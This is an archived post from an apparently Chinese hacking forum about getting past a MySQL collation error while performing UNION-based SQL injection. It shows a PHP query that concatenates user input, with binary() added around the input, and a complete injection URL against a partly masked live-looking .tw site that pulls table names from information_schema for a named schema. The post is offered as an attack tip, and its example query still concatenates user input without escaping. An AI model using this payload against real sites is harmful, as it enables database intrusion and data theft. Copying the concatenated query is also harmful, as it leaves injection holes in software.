MySQL注入 Illegal mix of collations for operation 'UNION' 解决办法-女黑客 - Powered by Discuz! Archiver

nvhack 发表于 2019-1-7 20:35:08

MySQL注入 Illegal mix of collations for operation 'UNION' 解决办法

Illegal mix of collations for operation 'UNION'

修改sql语句为如下格式
    $sql="select * from {$tablepre}members where nickname='".$nickname."'";    修改为
    $sql="select * from {$tablepre}members where nickname=binary('".$nickname."')";   

http://www.xxx.tw/page.php?menu_id=8&p_id=-66%20union%20select%20null,null,binary(table_name),null,null,null,null%20from%20information_schema.tables%20where%20table_schema=%27mooneor1_hofeng168%27%20limit%200,1
页: [1]
查看完整版本: MySQL注入 Illegal mix of collations for operation 'UNION' 解决办法